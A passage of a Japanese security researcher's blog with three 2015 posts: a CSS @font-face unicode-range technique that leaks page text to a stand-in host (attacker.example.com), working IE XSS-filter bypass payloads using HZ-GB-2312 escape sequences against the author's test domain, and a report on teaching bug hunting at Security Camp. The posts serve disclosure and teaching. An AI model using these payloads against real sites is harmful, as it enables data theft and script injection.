2015/10/24

@font-faceのunicode-rangeを利用してCSSだけでテキストを読み出す

English version: http://mksben.l0.cm/2015/10/css-based-attack-abusing-unicode-range.html
----------------------------------

CSSの @font-faceのunicode-range を使った攻撃手法を思いついたので共有します。

この手法を使うと、攻撃者はCSSだけでページ内に書かれたテキストを推測することができます。
この手法は、次のような場面で利用できるかもしれません。

・ ブラウザのXSS保護機能のバイパス(ChromeのXSS Auditorは<style>の注入をブロックしない)
・ ターゲットのページで、JavaScriptの実行はできないがスタイルが注入できた場合の攻撃への利用

自分が知る限りでは、CSSを利用した今でも使える既知の攻撃手法には、属性値を読み取れるものはあっても、テキストの中身を読み取る手法は知りません。この手法は、完全には読み取ることはできないながらも、それを可能にします。

属性を読み取る手法は以下のページのAttribute Readerで紹介されています。まだ現役の手法です。

CSS - The Sexy Assassin
http://p42.us/css/


今のところ、ChromeとFirefox Nightly 44で動作します。それでは、みていきます。

以下のようなページがあるとします。
<style>
@font-face{
font-family:poc;
src: url(http://attacker.example.com/?A); /* 取得される */
unicode-range:U+0041;
}
@font-face{
font-family:poc;
src: url(http://attacker.example.com/?B); /* これも取得される */
unicode-range:U+0042;
}
@font-face{
font-family:poc;
src: url(http://attacker.example.com/?C); /* 取得されない */
unicode-range:U+0043;
}
#sensitive-information{
font-family:poc;
}
</style>
<p id="sensitive-information">AB</p>

このページにアクセスすると、ChromeとFirefox Nightlyでは、http://attacker.example.com/?Ahttp://attacker.example.com/?Bに対するリクエストが飛びます。一方、http://attacker.example.com/?Cに対するリクエストはとびません。

これは、ChromeとFirefox Nightlyでは、フォントを適用しようとしている部分にunicode-rangeの範囲内の文字が含まれているときだけ、フォントをロードする動作になっているためです。
フォントを適用しようとしている部分であるsensitive-informationのidを持った部分をみると、「A」と「B」しか含まれていないため、「A」と「B」のフォントだけロードし、「C」のフォントはロードしないという動作になっている訳です。

この時点で既に、 attacker.example.com は、sensitive-informationに "A"と"B" が含まれているが、 "C" は含まれていないことを知れたということになります。

もう少し、取得対象の文字を増やした例をみてみます。

以下のページにChromeからアクセスし、
http://vulnerabledoma.in/poc_unicode-range2.html

開発者ツールのネットワークタブをみてください。次のようなリクエストが見れるはずです。



見てのとおり、 M,a,s,t,o,K,i,n,u,g,w を含む外部へのリクエストが送信されています。ここで気付くことは、重複してでてくる文字( この場合、a )はわからないということです。それでも、この例のように、取得の対象によっては、内容を推測するのに十分な情報を攻撃者に与えるはずです。

この動作は仕様にも明記されているようです。(http://www.w3.org/TR/css3-fonts/#composite-fonts のEXAMPLE 13を参照)

フォントのダウンロードを必要最低限に抑えることで、リクエスト量を減らすことができますが、一方で、その副作用として、新しい攻撃の可能性がうまれてしまったというところでしょう。
Chromeチームにも報告しましたが、WontFixという扱いになりました。

JavaScriptの実行ほど大きな脅威ではないとはいえ、現在でも、CSSだけでも攻撃が可能になる場合があるということは覚えておいた方がよいかもしれません。

2015/09/29

ブラウザのXSS保護機能をバイパスする(7)

English version: http://mksben.l0.cm/2015/09/bypassing-xss-filter-hzgb2312.html
--------------------------------------------------------

HZ-GB-2312という文字コードのエスケープシーケンスにあたるバイト、~[0x0A]~{を使ってIEのXSSフィルターをバイパスできることに気付いたので紹介します。
この手法はページのContent-Typeレスポンスヘッダで文字コードが指定されていない時限定で使えます。

バイパス 1


 以下にIEでアクセスしてAAAにマウスを移動し、XSSフィルターに遮断されずにアラートが出ることを確認してください。
http://vulnerabledoma.in/char_test?body=%3Cx~%0Aonmouseover=alert(1)%3EAAA


以下のようにすればユーザインタラクションなしにもできます。
http://vulnerabledoma.in/char_test?body=%3Cx~%0Aonfocus=alert%281%29%20id=a%20tabindex=0%3E#a


XSSフィルターは、Content-Typeレスポンスヘッダで文字コードが指定されていないとき、HZ-GB-2312のエスケープシーケンスにあたるバイト列を特別扱いしているようです。 (多分、昔、文字コードの自動選択でHZ-GB-2312が選択されていた時に、エスケープシーケンスをうまく攻撃文字列の間に挟んだりするとバイパスできる場合があったりしたために、こんな風に特別扱いして、で、なんかうまくいってないと推測します。 今は、少なくとも日本語のシステムロケールでは、HZ-GB-2312は自動選択されないはず。)

属性を区切る文字がくるところに~[0x0A]を置くと遮断に失敗します。

charsetがContent-Typeレスポンスヘッダで適切に指定されたページでは、以下のように適切にフィルターされます。
http://vulnerabledoma.in/char_test?charset=utf-8&body=%3Cx~%0Aonmouseover=alert(1)%3EAAA


ただし、Content-Typeレスポンスヘッダでなくmetaタグだけでcharsetを指定した場合だとまだ動きます。
http://vulnerabledoma.in/xssable?q=%3Cx~%0Aonfocus=alert%281%29%20id=a%20tabindex=0%3E#a

バイパス 2


以下にアクセスし、「go」ボタンをクリックすると、XSS脆弱性がある文字列リテラル部から、click()が呼び出されることが確認できます。(※click()が呼び出される側はドキュメントモードが古くないとエラーになります。)

http://l0.cm/xssfilter_hz_poc.html


次のようなコードからclick()が呼び出されています。
http://vulnerabledoma.in/xss_js?q=%22%3B~{valueOf:opener.button.click}//
<script>var q="";~{valueOf:opener.button.click}//"</script>

これも通常なら、以下のように";{valueOf:という文字列で遮断が起こるのですが、

http://vulnerabledoma.in/char_test?body=%22%3B{valueOf:

~{というHZ-GB-2312のエスケープシーケンスが間に入ってきていることで遮断に失敗します。

valueOfの代わりにtoStringも使えます。

http://vulnerabledoma.in/xss_js?q=%22%3B~{toString:opener.button.click}//
<script>var q="";~{toString:opener.button.click}//"</script>
この2つの手法、まず";~{valueOf:}//がなぜか遮断されないことに気付いたのが発見のきっかけです。最初はHZ-GB-2312が関係してるとは思わなかったのですが、どうみてもmshtml.dll内の正規表現には合致するのにおかしいと思って、みていくと遮断されないのが~{が入っているときだけだったので、HZ-GB-2312が関係していると勘付きました。じゃあ他にもエスケープシーケンスが入ったらうまく遮断されないケースがあるのではないかとみていったところ、バイパス1のケースにも気付きました。

文字コード関係のことには普通の人よりは触れてきたので、自分だからこそ気付けた問題だったかもしれません。

2015/08/18

セキュリティ・キャンプ全国大会2015の資料を公開

2015年8月11~15日の間行われたセキュリティ・キャンプ全国大会2015に、今年も講師として参加してきました。使用した資料を公開します。


1. 事前学習として用意した「簡単にSOP周辺を理解するページ」
http://vulnerabledoma.in/camp2015_sop/


2. 講義に使用したスライド



3. 特別コーナーで使用したスライド




1つ目のスライドは、自分がキャンプの1日目に担当した「バグハンティング入門」という講義で使用したものです。講義では、脆弱性を探すときにどのような点に注目すればいいのかを過去に発見した/されたWeb周辺のバグを通して説明しました。

題材のアプリケーションには、サイボウズLiveとIEのXSSフィルターを選びました。

サイボウズLiveは、キャンプの連絡事項の伝達に使うため、参加者全員が必ず使うWebアプリケーションになります。身近に使っているアプリケーションにも脆弱性があることを感じてもらいやすいと考え、昨年に続いて題材に選びました。また、サイボウズは脆弱性の検査/報告を歓迎しているし、申請すると検査用の環境を個別に用意してくれるので、キャンプが終わった後も脆弱性を探したいと思った参加者に勧めやすいというのも選んだ理由です。だって、万が一、誤解を招いて参加者がインターネットを止められても困りますからね

XSSフィルターについては、自分がとりわけ詳細まで把握している機能で扱いやすかったため、題材に選びました。あと、キャンプで使う演習用のPCがWindowsで、何も指示しなくてもIEなら必ず入っているため、準備が楽だったからというのもあります。

講義では、実習として、実際にXSSフィルターのバイパスに挑戦してもらいました。もちろん、実習の期間中に未知のバイパスを発見しろという無茶な話ではなくて、考慮された典型パターンからはずれると、簡単にバイパスできてしまう場合があることを知ってもらうために、意図的にバイパスできる状況を設定したものを突破してもらいました。

ちなみにXSSフィルターのバイパスチャレンジはキャンプ参加者以外の方も以下で挑戦できます。ゴールは、IE10以上(Edgeはダメです)を使ってXSSフィルターをバイパスし、alert(1)を実行することです。
日頃XSSをプレイしている人にはChallenge 1337以外は簡単だと思います。

Challenge 1
http://vulnerabledoma.in/camp2015/challenge?q=[XSS_HERE]

Challenge 2
http://vulnerabledoma.in/camp2015/challenge2?q=[XSS_HERE]

Challenge 1337
http://vulnerabledoma.in/camp2015/challenge1337?q=[XSS_HERE]


参加者には引き続き自分で回答を探してもらっているので、答えがわかっても、回答をパブリックにしないようお願いします。

問題(1と2)はかなり単純だと考えていたので、10分程度の演習時間を予定していましたが、30分以上を使っても、結局、講義中に解けたのは講師だけでした。もう少し段階的に説明するべきだったかなと、少し反省していますが、それでも講義後には、ぽつりぽつりと回答者が出始めたので、興味を持って取り組んでもらえているように思います。キャンプの準備には随分苦労しましたが、少しでも興味を持ってもらえたなら、講義をした甲斐があったと思います。

expression()とかXSSフィルターのバイパスとか、そんなの入門じゃないだろうと思うかもしれませんが、それを覚えてほしいという意図はなくて、探し方のポイントをおさえれば、そういった、人が見落としやすい部分に目を向けたり、複雑にみえる問題を解決していけるようになるということが講義を通して伝えたかったことです。


2つ目のスライドは、2日目の夕食時に行われた特別コーナー、「俺たち、高レイヤーの講師だけど質問ある?」で発表したものです。この日、ちょうど自分の報告したFirefoxの脆弱性(CVE-2015-4483)が修正されたので、どのような問題だったか、どのようにして発見に至ったかについて、自分の講義で紹介した脆弱性発見のテクニックを実際の場面で使っていることを示しながら解説しました。わかりやすく、扱うのに最適な実例だったので、Mozillaは本当にいいタイミングで修正してくれたなと思います。


参加者の皆さん、5日間お疲れ様でした。
ぜひこれから、もっと深い知識をつけ、自分の手でまだ誰も発見していない驚くような脆弱性を発見して欲しいと思います。皆さんの活躍を楽しみにしています!